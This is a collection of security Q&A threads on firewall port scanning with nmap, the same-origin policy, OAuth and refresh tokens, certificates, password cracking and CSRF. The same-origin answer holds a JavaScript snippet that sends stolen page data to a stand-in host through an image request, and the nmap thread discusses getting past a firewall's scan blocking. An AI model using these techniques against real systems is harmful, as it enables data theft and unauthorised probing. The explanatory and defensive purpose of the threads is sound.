FWIW, I've seen more than one phone company print sms msgs on the bill.... at least skype should be an ssl connection.


How to use NMap to portscan a SonicWall that is blocking all attemtps? It seems that SonicWall is blocking attemtps to scan its ports. I know it has some ports open, like 443, because if I access using the browser I get a web site. But when I try to use NMap I can't see the port open.

If I try to to a SYN scan against this port I get no-response:

# nmap -sS -vvv -PN -p443 --reason XXX.XXX.XXX.XXX

Starting Nmap 5.00 ( http://nmap.org ) at 2013-04-22 08:31 CEST
NSE: Loaded 0 scripts for scanning.
Initiating Parallel DNS resolution of 1 host. at 08:31
Completed Parallel DNS resolution of 1 host. at 08:31, 0.05s elapsed
DNS resolution of 1 IPs took 0.06s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 08:31
Scanning XXX.XXX.XXX.XXX [1 port]
Completed SYN Stealth Scan at 08:31, 2.01s elapsed (1 total ports)
Host XXX.XXX.XXX.XXX is up, received user-set.
Scanned at 2013-04-22 08:31:35 CEST for 2s
Interesting ports on XXX.XXX.XXX.XXX:
PORT    STATE    SERVICE REASON
443/tcp filtered https   no-response

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.15 seconds
       Raw packets sent: 2 (88B) | Rcvd: 0 (0B)

If I use a longer timeout I get a reset (edited to include --packet-trace)

# nmap -sS -vvv -PN -p443 --min-rtt-timeout 30s --packet-trace --reason XXX.XXX.XXX.222

Starting Nmap 5.00 ( http://nmap.org ) at 2013-04-22 10:01 CEST
NSE: Loaded 0 scripts for scanning.
NSOCK (0.0810s) UDP connection requested to XXX.XXX.XXX.111:53 (IOD #1) EID 8
NSOCK (0.0810s) Read request from IOD #1 [XXX.XXX.XXX.111:53] (timeout: -1ms) EID 18
Initiating Parallel DNS resolution of 1 host. at 10:01
NSOCK (0.0810s) Write request for 45 bytes to IOD #1 EID 27     [XXX.XXX.XXX.111:53]: Y............222.XXX.XXX.XXX.in-addr.arpa.....
NSOCK (0.0810s) nsock_loop() started (timeout=500ms). 3 events pending
NSOCK (0.0810s) Callback: CONNECT SUCCESS for EID 8 [XXX.XXX.XXX.111:53]
NSOCK (0.0810s) Callback: WRITE SUCCESS for EID 27 [XXX.XXX.XXX.111:53]
NSOCK (0.1280s) Callback: READ SUCCESS for EID 18 [XXX.XXX.XXX.111:53] (105 bytes)
NSOCK (0.1280s) Read request from IOD #1 [XXX.XXX.XXX.111:53] (timeout: -1ms) EID 34
Completed Parallel DNS resolution of 1 host. at 10:01, 0.05s elapsed
DNS resolution of 1 IPs took 0.05s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 10:01
Scanning XXX.XXX.XXX.222 [1 port]
SENT (0.1370s) TCP XXX.XXX.XXX.333:44390 > XXX.XXX.XXX.222:443 S ttl=53 id=3162 iplen=44  seq=1146988289 win=2048 <mss 1460>
RCVD (21.1530s) TCP XXX.XXX.XXX.222:443 > XXX.XXX.XXX.333:44390 RA ttl=128 id=23009 iplen=40  seq=1292449307 win=64240 ack=1146988290
Completed SYN Stealth Scan at 10:01, 21.02s elapsed (1 total ports)
Host XXX.XXX.XXX.222 is up, received user-set (21s latency).
Scanned at 2013-04-22 10:01:10 CEST for 21s
Interesting ports on XXX.XXX.XXX.222:
PORT    STATE  SERVICE REASON
443/tcp closed https   reset

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 21.15 seconds
       Raw packets sent: 1 (44B) | Rcvd: 1 (40B)

But the port is open because if I use netcat I connect:

# nc XXX.XXX.XXX.XXX 443
HEAD / HTTP/1.0

(UNKNOWN) [XXX.XXX.XXX.XXX] 443 (https) : Connection timed out
HEAD / HTTP/1.0
200 OK
Content-Length: 860
Content-Type: text/html
Last-Modified: Tue, 22 Nov 2011 07:45:36 GMT
Client-Date: Mon, 22 Apr 2013 06:34:56 GMT

200 OK
Connection: close
Date: Mon, 22 Apr 2013 06:40:31 GMT
Server: Apache-Coyote/1.1
Content-Length: 1166
Content-Type: text/html
Client-Date: Mon, 22 Apr 2013 06:34:57 GMT
Client-Peer: XXX.XXX.XXX.XXX:80
Client-Response-Num: 1

I have tried other types of NMap scans ACK, FIN, Maimon, Windows, NULL, TCP and XMAS without results.

I have algo tried to change source port to 80 using:

-g 80

What are the correct options for NMap to scan correctly this type of device? What steps could I investigate to discover them?

As far as I know, nmap in Stealth Scan mode issues a normal SYN packet, which should elicit a SYN/ACK response no matter what. The "stealthiness" comes later, when nmap receives the SYN/ACK and instead of acknowledging, tears down the connection with a RST, which prevents the connection being logged on some systems, and ensures it being logged and a We're being stealth scanned! alert triggered in others.

Try first with a vanilla connect scan: -sT instead of -sS. If that works (I don't see why it shouldn't, but then I'd have sworn -sS ought to have worked too), for one you now have "a means of scanning the system". And you can investigate how SonicWall detects the stealth SYN (I found nothing on SonicWall's docs), using something like Nemesis.

The packets are different though. The DF flag wouldn't be reliable on SonicWall's side, nor would the checksum (even if it's curious)... maybe the TCP window value is considered suspicious? Or the packet size?

The Vanilla and Telnet packets are so similar however, that if -sT does not work for you, I'd have to say that you must be doing something wrong.

Stealth Scan:

09:20:46.808358 IP (tos 0x0, ttl 41, id 24165, offset 0, flags [none], proto TCP (6), length 44)
    mintaka.33810 > darkstar.77: Flags [S], cksum 0x40ee (correct), seq 3935459869, win 1024, options [mss 1460], length 0
        0x0000:  4500 002c 5e65 0000 2906 a93e c0a8 04c8
        0x0010:  c0a8 0410 8412 004d ea92 5a1d 0000 0000
        0x0020:  6002 0400 40ee 0000 0204 05b4

Ordinary telnet:

09:21:14.865468 IP (tos 0x10, ttl 64, id 58002, offset 0, flags [DF], proto TCP (6), length 60)
    mintaka.50911 > darkstar.77: Flags [S], cksum 0x8a57 (incorrect -> 0x9259), seq 331969772, win 14600, options [mss 1460,sackOK,TS val 202741374 ecr 0,nop,wscale 7], length 0
        0x0000:  4510 003c e292 4000 4006 cdf0 c0a8 04c8
        0x0010:  c0a8 0410 c6df 004d 13c9 74ec 0000 0000
        0x0020:  a002 3908 8a57 0000 0204 05b4 0402 080a
        0x0030:  0c15 967e 0000 0000 0103 0307

Vanilla scan:

09:22:25.447135 IP (tos 0x0, ttl 64, id 57087, offset 0, flags [DF], proto TCP (6), length 60)
    mintaka.50912 > darkstar.77: Flags [S], cksum 0x8a57 (incorrect -> 0x8c7e), seq 1141769620, win 14600, options [mss 1460,sackOK,TS val 202759019 ecr 0,nop,wscale 7], length 0
        0x0000:  4500 003c deff 4000 4006 d193 c0a8 04c8
        0x0010:  c0a8 0410 c6e0 004d 440e 0594 0000 0000
        0x0020:  a002 3908 8a57 0000 0204 05b4 0402 080a
        0x0030:  0c15 db6b 0000 0000 0103 0307


Why was the Same-origin policy originally introduced (before XMLHttpRequest)? As I understand it, the Same-origin policy (SOP) basically prevents a script in a web page from obtaining or sending information from/to a different domain.
I understand that this is important to prevent a page from grabbing private data and passing it along somewhere else. For example, without the SOP, I could write a public web page with a script that:

reads information from an intranet site only accessible to the client browser (but not to my server) and
sends it back to my server using XMLHttpRequest (or fetch())

However, when the SOP was introduced (JavaScript 1.0, in Netscape Navigator 2.0 in 1995), there was no way to send a request from JavaScript. XMLHttpRequest was only introduced in Internet Explorer 5.0 in March 1999, and fetch() even later.
So - what attacks did the SOP prevent without a way to send a request? Obviously, without SOP a script could grab all kinds of potentially private data, but where is the risk if the script has no way to pass it on?

The Client-Side JavaScript Guide V1.3 (from 1999, hence before XMLHttpRequest) just says:

JavaScript automatically prevents scripts on one server from accessing
properties of documents on a different server. This restriction
prevents scripts from fetching private information such as directory
structures or user session history.

However, it does not explain why "fetching private information" is a problem if there is no way for the script to exfiltrate it.

Data exfiltration isn't very difficult, because there are various elements which fetch (remote) content.

One example is an image:

var img = document. createElement("img");
img.src = "http://example.com/log?message=" + exfiltrated_data;
var src = document.getElementById("somediv");
src.appendChild(img);

Other avenues would be fetching of CSS/JS files, etc.

Fetching the data is also easy:

var windowx = window.open("http://example.com/stealthis.html");
windowx.onload = function() {
// The SOP prevents this read for different origins:
console.log(windowx.document); // can be exfiltrated via image.
};

But the SOP is not just about confidentiality, but also integrity. The way the exfiltration code would be injected into the target website would already be a problem, because it would allow an attacker to change what a website displays:

var windowx = window.open("http://example.com/modifythis.html");
windowx.onload = function() {
console.log(windowx.document.write('this shouldn\'t be here'));
};

This can then be used to exfiltrate data (see above), show phishing forms, intercept already existing forms to send the entered data to an attacker, defacement, etc.


What Does Putting Each Subscriber of ISP in One Subnet of His Own Mean? I've noticed that I used to be assigned an external IPv4 from my ISP and a 24 bit mask (255.255.255.0), then it changed to 255.255.255.255, today I was studying IPv4 subnetting and I understand that now each ISP subscriber is on his own subnet (right?), then I read about the Snowden leak of the partnership between NSA and my country. Is there any connections? Should we be worried? What are the implications of the subnet change?

The "subnet" makes sense only for routing. When machine A decides to send a packet to machine B, it considers B's IP address:

if that IP address is on the same subnet as A, then A thinks that it can send the packet "directly" (A and B are on the same link) and does just that;
otherwise, A sends the packet to its gateway, i.e. a machine G (that A can talk to directly). The gateway is responsible for forwarding the packet to B, or at least to the next gateway in the path from A to B.

As an ISP customer, you expect that all your external traffic goes to the ISP. Having a 255.255.255.0 subnet makes sense only in the following situations:

The ISP does not give you one IP address, but a whooping 255 (since it keeps one for the gateway). This may happen when the ISP provides only private IP addresses, and applies NAT; however, if you got an external IP address, then this is implausible, given the current shortage on IPv4 address,
Customers are really grouped in subnets and their machines can talk to each other directly, without going through the ISP routers. I have seen that in older days (about 15 years ago): a cable provider who had arranged things so that all customers in a single building were really on some LAN-equivalent. It turned out not to be a good idea: some customers were engaging in hostile attacks against other customers, and since they had direct access, the ISP routers could not filter or even detect such behaviour.
A misconfiguration from the ISP. Customers from the "same" subnet are not actually on the same subnet (they cannot talk to each other directly). Consequence is an impossibility of customer-to-customer communications through their public IP addresses in some cases; this is a problem for some applications (namely, some network-aware games).

The third case probably applies here; meaning that what you observe really is an ISP who previously goofed on network configuration, then noticed it and proceeded to fix it. You should rejoice; not all ISP demonstrate that level of competency.


How I can enumerate all endpoints of an API? Let's say I have an API api.example.com and I want to test all endpoints. I don't have access to documentation, how I can enumerate all the endpoints?

From the outside, there's no generic method. A site can have as many (possibly obfuscated) endpoints as they wish.
You could, however, get lucky if there is an automatically generated site-map; it might just include a list of endpoints.

From the inside, it's possible. It can be labor-intensive, depending on how the site works. If you have access to the web server configuration, you can walk through it to find the endpoints.
For an Apache webserver, start with httpd.conf .
For IIS, you'll have to open the GUI and find the sites hosted by that IIS server, then find the endpoints on them.


Generate certificate v3 instead of v1 Trying to get certificate v3, but getting v1. I'm using following commands:

openssl req -out server.csr -newkey rsa:2048 -nodes -keyout server.key -config san_server.cnf
openssl ca -config san_server.cnf -create_serial -batch -in server.csr -out server.crt

Configuration file san_server.cnf content:

[ca]
default_ca=CA_default

[CA_default]
dir=./ca
database=$dir/index.txt
new_certs_dir=$dir/newcerts
serial=$dir/serial
private_key=./ca.key
certificate=./ca.crt
default_days=3650
default_md=sha256
policy=policy_anything
copy_extensions=copyall

[policy_anything]
countryName=optional
stateOrProvinceName=optional
localityName=optional
organizationName=optional
organizationalUnitName=optional
commonName=optional
emailAddress=optional

[req]
prompt=no
distinguished_name=req_distinguished_name
req_extensions=v3_req
x509_extensions=v3_ca

[req_distinguished_name]
countryName=EN
stateOrProvinceName=Some-State
localityName=London
organizationName=Internet Widgits Pty Ltd
commonName=192.168.1.8

[v3_req]
subjectAltName=@alt_names

[v3_ca]
subjectAltName=@alt_names

[alt_names]
IP.1=127.0.0.1
IP.2=192.168.1.8
DNS.1=localhost

As a result  I got v1 certificate. How to create v3 one?

If you are using OpenSSL below 1.0.2g 1.1.0m (both Nov. 2017) or 1.1.1 (Sep. 2018) there was a bug that did this -- see https://unix.stackexchange.com/questions/393601/local-ssl-certificates-in-chrome-ium-63/ -- and my workaround at https://unix.stackexchange.com/questions/371997/creating-a-local-ssl-certificate is to specify in the CA config section (your [CA_default]) or on the command line the name of an extension section that doesn't actually contain any extensions.

Although if you use v3 certs, in most applications you should have at least BasicConstraints and KeyUsage extensions, and maybe some more, and those usually make more sense to be specified in the CA config rather than in the CSR, because they are mostly not subject-dependent.

Also, most reliers haven't accepted cert signatures using MD5 for about a decade now, and many have more recently stopped accepting signatures using SHA-1 as a result of 'shattered', about which there are numerous other Qs already, and now 'shambles'. Plus assuming your CA key is as strong (large) as your EE key(s) as it should be, neither of those hashes was ever recommended in combination with RSA-2048, whose strength needs at least SHA-224 to match, and nearly everybody (for example all 'real' public CAs) uses SHA-256.


Should a refresh token be linked to a single access token, and what is the ideal refresh flow? I've been reading about access tokens and refresh tokens, and am implementing it in my own site. Right now, based on an example codebase on GitHub, a refresh token of random characters is created and stored in the database with some details such as the user id and expiry time, and returned alongside the JWT access token. The refresh route accepts both the old access token and refresh token, as well as some other request information (client id and IP), and as long as the refresh token exists in the database and is not expired, is assumed to be valid to grant the user a new access token (which is generated using the payload of the old token) before itself being reissued.

I then read this article, which notes among other things that the refresh route should not require the old token in the request payload (not being tied to a single access token).

Based on this, I have a few questions:

Shouldn't the refresh token be linked to a specific access token? If my access token has a jti, should I not store this in the database with the refresh token, so that a single refresh token can only be used for a single access token? If a refresh token is stolen, and it is not linked to an access token, this token can be used to generate a new access token regardless of what the old access token looks like. Sure, if it's being rotated and an expired refresh token is used (i.e. real user attempts to refresh their expired access token), I can detect that the refresh token was breached and invalidate all of the user's refresh tokens, but until then the attacker will be able to continue requesting new access tokens whenever they expire and have access to the user's account.
If an access token should not be sent to the refresh route (invalidating question 1), how is the payload for the new access token sourced? Is this retrieved fresh from the database? Should this happen anyway so that any changes made to the database are at most accessTokenTtl stale?
What about the other information stored alongside the refresh token? In the example GitHub repo, the client id and user ip address are stored with the refresh token but not used for anything. Should a refresh token only be valid if the same ip address and client id are provided when a refresh is attempted? What if a user is on their mobile phone, for example, where their ip address can change quite frequently? This defeats the purpose of a long-lasting (weeks/months, not minutes or hours) refresh token.
Is a refresh token of random characters sufficient? Can it be a JWT itself? I wanted to not store the refresh token in plain-text in the database, but in order to find the right token it needs to be stored alongside a unique identifier which is also a part of the payload. I.e. I could make the refresh token a JWT with a jti that is the id of the corresponding database row, and a random payload. This is sent to the user as a normal JWT, but it is hashed using bcrypt before being stored in the database. Then, when the refresh token is being used in the refresh route, I can validate the token provided by the user, grab the jti, find the hashed token in the database, and then compare them using bcrypt as you would with a user's password.

Refresh tokens cannot be tied to access tokens if the access tokens expire "cleanly" (that is, leaving no trace), or else the whole point of the refresh token - obtaining a new access token to refresh the session when the old token expires - won't work. If the access token will stick around even after expiry, you can tie it to the refresh token, but in general this doesn't add much security. How do you propose an attacker steal somebody's refresh token without also being in a position to steal their access token?
The new access token is generated the same way the original one was. E.g. If you're using JWTs, you mint a new JWT and sign it. If you're rotating refresh tokens after use, you generate a new one (hopefully via HSM or cryptographically-secure PRNG) and return that too.
Session data stored alongside a token is usually used for things like showing the user a list of their active sessions, and detecting fraud. You can do things like allow refresh with a change of IP within a country, but require re-authentication after crossing a border or traveling far, by looking up the IP.
A refresh token of random bytes is not only sufficient, it is the usual option. JWTs are poor choices of refresh token; they are overly large if all you need to prove is "this was given to the user at some point", and their primary advantage - no server state - isn't feasible for refresh tokens (they need to be long-lived, which means you need a way to revoke them, which means you need to store state on the server).

One thought: if you're concerned about somebody gaining read (but not write) access to your auth DB and retrieving refresh tokens from there to then use against unsuspecting users, the easiest solution is to run them through a fast secure hash function. Taking 16 bytes from /dev/urandom, and then both returning those bytes to the user as the refresh token and running them through SHA-256 before purging them from the server, will produce a hash value that can be stored in your database, compared against extremely quickly, and reveals absolutely nothing about the actual refresh token value. It's sort of like password hashing, except you don't need a slow hash because the entropy of the actual refresh token is higher than almost any human-generated password.


Obfuscation alternatives So I've made a tool for web developers and now I want to sell it, but I don't want all web developers to see my code (PHP).

I do know there are PHP Obfuscators, but I don't want to use them, as they are not COMPLETELY 100% secure. I tried looking for a compiler for PHP (I know they aren't 100% secure as well, but they are more secure than an obfuscator,) but with no luck.

Can someone offer alternatives other than using an obfuscator?

When you don't want the user to have access to your code, you must not let them run it on their machine. It's that simple. As you already found out yourself, obfuscation doesn't work.

So what option do you have?

Run it on your own servers and offer it to the customer as a service, for example via SOAP. The drawbacks are that you need to administrate servers now, and that there is a latency when your service is used. But on the upside, you can write Cloud(tm) all over your marketing material.


VP of IT claims he unhashed 100% of all 16k employees' PWs. Is he lying to us? I work for a company which has ~16,000 employees.  Periodically, our VP of IT sends out a newsletter with "tech-tips" and misc IT stuff.  The topic of this week's newsletter was "password security".  The introductory paragraph caught my attention:

  We just decrypted all user passwords in use to see if employees are using strong passwords. We used a combination of brute force,rcracki, hashcat/oclHhashcat and john-the-ripper tools to decrypt the passwords.

This was followed by a typical newsletter discussing good password practices:  Don't use dictionary words; be sure to use mixed case/symbols; don't write your password on a yellow-sticky by your monitor; etc...

Now, I'm no cryptography whiz, but I was skeptical that he claimed that they had "decrypted all user passwords".  I can believe that they maybe ran all the hashes through their tools and "decrypted" a large portion of them, but is it really reasonable that they would have the computing resources to claim to have cracked them all?  (BTW, is "decrypted" even correct in this context?)

I emailed him asking if he meant to say that they had run all passwords THROUGH the cracking tools, and merely found a large number of weaker ones.  However he replied that, no, they had indeed decrypted ALL of the user passwords.

I can appreciate the security lesson he's trying to teach here, but my password is 8 random  characters, generated by KeePass.  I thought it was pretty good, it's something similar to Q6&dt>w} (obviously that's not really it, but it's similar to that).

Are modern cracking tools really that powerful?  Or is this guy probably just pulling my leg in the name of a good security lesson?

P.S. I replied to his email asking if he could tell me what the last two characters of my password were.  No reply yet, but I will update if he manages to produce it!

EDIT:
Some answers are discussing my particular password length.  Note that not only is he claiming that they cracked MY password (which is believable if they singled me out), but that he's claiming that they did this for ALL users - and we have well over 10,000 employees!!  I'm not so naive as to think that that means 10,000 good, secure passwords, but if even 1% of the users have a good password, that's still 100 good secure passwords they claim to have cracked!

The only realistic way that 100% of passwords got cracked is if you're storing LM hashes on windows.  LM hashes split into 2 seven character chunks making brute force/rainbow table attacks practicable (they're also case insensitive for added ease). Rainbow tables exist for this and it's easily do-able.

Outwith that, anyone with 10+ character passwords that aren't in a dictionary (or findable by mutating dictionary words) aren't going to get cracked on any reasonable system, even with weak algorithms (e.g. md5) and no salt.  AFAIK rainbow tables aren't practical on passwords that long (for reference free rainbow tables have a 2.8 TB pack of MD5 hashes which tops out at some nine character passwords (not full char set).

One point I would make is that if I was the VP of IT I'd be concentrating on getting rid of LM hashes rather than just telling people about good password practices for the very reason that he was able to retrieve 100% of passwords :)


Encoding Same Message with Different IV (AES/CBC) Let's say I encrypt a message using AES/CBC twice, with the same key but two different IVs. Is this safe? Or can the resulting ciphertexts be used against each other to obtain information about the plaintext?

Clarification:

I understand that the point of using proper IV values is to prevent equivalent plaintexts from producing equivalent ciphertexts. The question is, given that an attacker knows that the same plaintext was used to generate two different ciphertexts with the same key but two different IVs, does this leak information?

The question is, given that an attacker knows that the same plaintext was used to generate two different ciphertexts with the same key but two different IVs, does this leak information?

The short answer is "no". If everything goes well, the plain-texts fed into the cipher will all be distinct, and therefore the cipher-texts will all be distinct and the attacker learns nothing. In such a scheme, you are subject however to the inherent weakness of CBC: it only takes 2^(BS/2) blocks before a collision can be expected. Thus using the same key for (a potentially arbitrary number of) different messages might not be such a great idea.


Calculating Business Impact of Technical Vulnerability Issues Is there any predefined, globally accepted methodology, framework or standard specifically on calculating Business Impact of technical (Network, Web, Mobile..) vulnerability issues?

Scoring and calculating the impacts are key concerns I am researching.

It really has to be done on a business-by-business basis, but it usually boils down to quantifying the impact based on the amount of money that the risk event could cause in terms of lost revenue, the amount of damage that would occur to the businesses brand and status in the industry, and/or the legal fallout (and especially if that legal fallout could include criminal).

You might find what you are looking for from the Open Group: http://www.opengroup.org/

or the Risk Management Institute: https://www.theirm.org/media/886059/ARMS_2002_IRM.pdf


What comprises the AIS-31 standard for TRNGs? I'm researching how my smart card's chipset generates random numbers. According to a source in forums the YubiKey NEO is based on the A700x chipset from NXP. The page for the chipset indicates that the chipset provides a:

  Low-power True Random Number Generator (TRNG) in hardware, AIS-31 compliant

I've been trying to determine what the AIS-31 spec defines, but Google has been fairly unproductive. I can find other chipsets that are certified by the same standard, but what does the certification mean? How is testing done?

Once I know either a) how this TRNG is implemented or b) what the certification consists of and means, I'll then be able to determine how much trust I should place in this chip's random number generation.

BSI: Application Notes and Interpretation of the Scheme (AIS) 31 – Functionality
Classes and Evaluation Methodology for Physical Random Number Generators,
Version 1 (25.09.2001), English translation.

BSI's AIS site is here.

Standard is here.


OAuth and public keys I get the basic OAuth and PKI flow and the different actors involved but I'm still unsure how public/private keys play a role.

When a client identifies itself upon registration with a certified public key, is that key then bound to the access token?

Prereqs:

See this question for a rough overview of how OAuth works.

See this question for a rough overview of how public key SSL/TLS works.

See this question for a rough overview of how SSL certificates relate to identity.

The meat of the matter:

Public/Private key systems can be used to provide three kinds of services:

symmetric session encryption
asymmetric session encryption
identity verification (often coupled with authentication)

Technically, none of the above three services are required for an OAuth system to work properly - it's very possible to build an OAuth system which doesn't use public/private keys for anything, at all.

That said, OAuth systems will often rely on property 1 of public/private key systems to ensure that OAuth related communication is encrypted, usually by building communication protocols on top of existing TLS/SSL based systems. They will also often rely on property 3 to provide one-sided identity verification, usually by relying on external, built in browser components, which implicitly perform that function.


What are good free opensource tools for helping in manual source code reviews? I know tools that help in identifying security vulnerabilities in source code (static analysis tools), like Findbugs for Java or Pixy for PHP, but I would like to know good free opensource tools that help in the task of documenting and following code when you are doing a manual source code review. It is interesting to be able to share the code commenting work between different testers/reviewers/developers/analysts.

Just another time: I'm not looking for static code analysis tools, I'm looking for tools that help the reviewer to do the manual review by making it easier to browse the code, write and share comments with other team members, follow coverage of the review, etc...

I'd suggest looking at Agnitio which sounds like a good match for what you're trying to do.  Another option might be Dradis although it's a bit more of a general information sharing/organisation tool.


Optionally using Sha-3 before scrypt depending on password length? First note: This is on-disk usage only, never transmitted over a server.

How secure, or additionally secure, is it to sha-3 (512) a password if said password is below 128 characters, THEN proceeding to scrypt it?

Is it more secure than straight scrypting the password? Should beyond 128 be sha-3'd? Should there even be any sha-3ing of it at all?

I'm aware sha-3 is just a hashing and not the same as aes/bcrypt/scrypt/twofish etc., I am merely looking to see if some sort of addition layer can be added for even more security than scrypt offers by default.

On a note of weak password will always be weak, in this instance a file can be specified as the password (of any size within the operational limits of scrypt), but a regular password can be used as well, therefore my question arises:

How much more secure, even in a theoretical sense, if it all, is sha3-512-ing a password below 128 characters, and above 128 characters, before scrypt-ing it?

An attacker would not guess the 128 long character that goes into scrypt, they would simply guess the 127 character long password that goes into sha-3. This might not seem like a problem if the password is 127 characters long, but it's arguable that scrypt is needed in such a situation to begin with.

Using realistic measures of password length, i.e. 5-10, this discrepancy becomes larger - the adversaries work factor will be limited by the length of the actual password, not the length of the output of the sha-3 hash.

Doing this may leak whether or not the length of the password is greater or less then your threshold, due to the operation requiring variable lengths of time.

So there should not be any sha-3'ing of anything at all. Remember: adding more crypto doesn't solve the problem magically, and doing things that are not explicitly beneficial can only increase your attack surface.


Stateful Packet Filter structure http://postimg.org/image/o1ojanqq3/

For stateful packet filter,

Firstly, why is cannot see application data being one of the disadvantages of Stateful Packet Filter?

Secondly, how can stateful packet filter monitor the track of connection?

First, let's define both what a non-stateful and a stateful firewall or filter is:

Non-stateful firewall: This was the original firewall method. You give the firewall rules as to which IP ports are open or not.
If an incoming packet (usually from the internet) doesn't specify a port allowed by the rules, it is dropped/stopped by the firewall.

Stateful firewall: All ports are blocked by the firewall (by default, and this only applies to traffic from the outside/internet). When a computer behind/inside the firewall wants to establish a connection through the firewall, the firewall watches the first packet go out (on whatever port your computer selects) to a remote (web) computer. The firewall remembers the IP address where the packet was sent to and what port was used by the sending/internal computer, and will (for a limited time) allow packets from that external IP address that use that port) to pass through the firewall to reach the internal network. Stateful in this case means the filtering state (rules) of the firewall depend on what traffic has been initiated by computers on the internal (nominally safe) side of the firewall. By default, any packets from the outside are stopped by the firewall unless they are part of a current ongoing conversation initiated by the internal computer.

Both of the above only require looking at ingoing and outgoing packet headers, which include the sending and addressed IPs (from and to addresses) as well as the IP port.

Later on, firewalls also started doing "deep packet inspection" where they looked at the contents of the packets as well.

If I understand your question, you are asking about the ability of a firewall to know what application is trying to connect through the firewall.

A lot of applications use certain default ports. For example, HTTP (web pages) use port 80, while HTTPS (secure/encrypted web pages) use port 443. So just looking at the port used tells the firewall what application is probably being used. As the internet moves more and more to encrypted communication (HTTPS everywhere and the use of VPN or other encrypted communication links), firewalls are less and less able to look into the contents of IP traffice, so seeing IP port will over time become the only way the firewall can tell what application is communicating. There are ways to allow a sophisticated firewall to look into encrypted packets, but normally they will only be employed by large organizations (and some snoopy ISPs) but not by home users.


CSRF Countermeasures I'm working through a book on web application security and it says that an effective CSRF countermeasure is to assign a temporary pseudo-random token to sensitive actions performed by authenticated users- and that secret tokens should last only a short time and be unpredictable in order to be effective.

My question is what is the range of security if the token is the UID set via the user database? Presumably if I've done my job properly then no one will know what their UID is and there's no way that it could be found, either.

CSRF tokens have two parts - one part is generally set as a part of the hidden form fields, which aren't that hard to find.

Phrased differently, CSRF tokens are stored both client-side and server-side.  Anything stored client-side, you have to assume could be found/read/extracted.  (Assume it can be compromised.)

So it's it's impossible to ensure no one will know what their UID is.  This is why it  should change frequently (as close to "on each request" as possible).

Related: https://stackoverflow.com/questions/1805838/csrf-token-generation

Good resource: https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet

You didn't mention your platform.  (.NET, Java, PHP, etc).  Many platforms have well-defined libraries for dealing with this.  I'd strongly recommend using one of those if possible.


Possible to change the CA that a keypair is using? Pretend I take the same CSR and send it to two different CAs as described in the following scenario:

I create a CSR on Windows
I submit the CSR and edit my SAN names.  Request is pending at the CA
wait 2 hours.  still pending
Submit CSR previously sent in step #1 to CA #2
Change the SAN names again, but make it a little different (order, etc) than in CA #1 above

I then get an approval, signed public key.  A technician adds this cert to IIS or the Cert store.  From this point onward, all "Exports" are joined to this public / private keypair.

A few hours later the certificate is sent from CA #2.  Both certificates are "valid"

Normally, I would just start this entire process over without thinking about it, but think it would be good to know if it's possible to re-link the public certificate (from  step 5) with the private key.

Question

Do I have to worry about revocation?
Can I relink a private key to a new public one?

It is perfectly possible to have the same public key in several distinct certificates. Mathematically, the public and private key are linked (in RSA parlance, they use the same modulus) and there is nothing that you can do for or against it. It just is.

Technically, a given machine may store certificates and private keys in some dedicated structures, and a private key should somehow be linked to the certificate, and/or vice versa, so that applications can get things going without much ambiguity.

In the Windows world (CryptoAPI and CNG), the link is from the certificate (in the "My" certificate store) to the private key (in an old-style CryptoAPI CSP, or a new-style CNG KSP). It is perfectly possible to have multiple certificates pointing at the same private key; this is even the normal situation in case of certificate renewal without creating a new key pair. Links from certificates to private keys can be set semi-automatically with certutil with the -repairstore sub-command (normally the certificate issuance process keeps track of the request and sets the link properly, but in some cases the link must be restored). It can also be done programmatically. The link is done by name (the "container name" in Microsoft terminology).

In PKCS#11 systems (e.g. Firefox, and most certificate-based things in Linux that are not purely software), certificates and keys are linked by virtue of having the same CKA_ID attribute, and since that attribute is supposed to be unique for a given object type, you may have trouble having two certificates simultaneously that point at the same private key.

In any case, a number of hardware devices that store and use private keys (in particular smart card) cannot really keep a many-to-one relationship from certificates to keys. Even with Windows' "Base Smart Card Provider" and its "MiniDriver" companion API, it is expected that only one certificate at a time may be stored on a smart card with a link to the private key. However, one can still have copies of multiple certificates in the certificate store (on the machine, not on the smart card), all pointing at the private key on the smart card.

Revocation is on per-certificate basis. What is revoked is the certificate (i.e. the binding between your key and your identity), not the key. Of course, if several CA have issued certificates that bind your key to your name, and your key gets stolen, then you would like all these certificates to be revoked. However, if one CA revokes your certificate for some other reason (e.g. you failed to pay a yearly "certificate maintenance" fee), then this has no impact on the revocation status of certificates issued by other CA, even if they contain the same name (yours) and the same public key (also yours) as the revoked certificate.


Reset password functionality If the password reset form can be accessed only by logged in user, what are the mandatory and good to have fields the form should contain?

As @AndrolGenhald points out, the words "Reset password functionality" usually means the "I forgot my password" workflow. The idea of having "Reset password functionality" that can only be accessed by a logged in user does not make sense.

I will assume you mean "Change password functionality", like when you press ctrl+alt+del in Windows.

I think the only field that is mandatory is a "Confirm your password" or equivalent. If your app supports multi-factor authentication (aka MFA / 2FA) then you should force the user to go through the full login workflow again before presenting them the "change password" form. The idea is that finding someone else's laptop unlocked should not be enough to change their password.


Is another MAC address generated when a wireless is created using the same device for LAN? I notice that the devices listed on the wireless system listed a MAC address
that is supposed to be the router but it is not the same # that is on the router case.

It differs by one one digit, *.98.65 vs *.98.66. Is another MAC address generated when a wireless system is created using the same device for LAN?

Each network interface has its own unique MAC address, assigned by the vendor of the equipment. So if you have a wired and a wireless interface you will see two addresses. If multiple interfaces are integrated into one piece of equipment (e.g. a router with multiple ports and/or WiFi), it's likely that the vendor will asign two consecutive MAC addresses.

So to really answer your question: the MAC address is assigned to the interface by the vendor in the production process, it's not generated the moment you connect to a network.


Confused about career path My question probably will be blocked. Anyway, my question is how much programming is there in the security field.
Useless:
I really hate programming, actually I can translate code from C to python and Java and a bit of assembly to C(and vice versa). But I can't write my program the only port scanner that I have write was on Python I can't do it on C nor Java. I understand the basics without any confusion, but I can't learn algorithms.

As you say, this question will get nuked, so here's a quick answer before that happens :)

Programming can be useful in certain fields of security, and less so in others.  So if you do application security work (advising/working with developers) then it's important that you have a good understanding of what they do and can work with them to come up with practical solutions.

Also if you're a penentration/security tester being able to write your own scripts for automation is important and also understanding roughly what a piece of code does and how is useful when attacking systems.

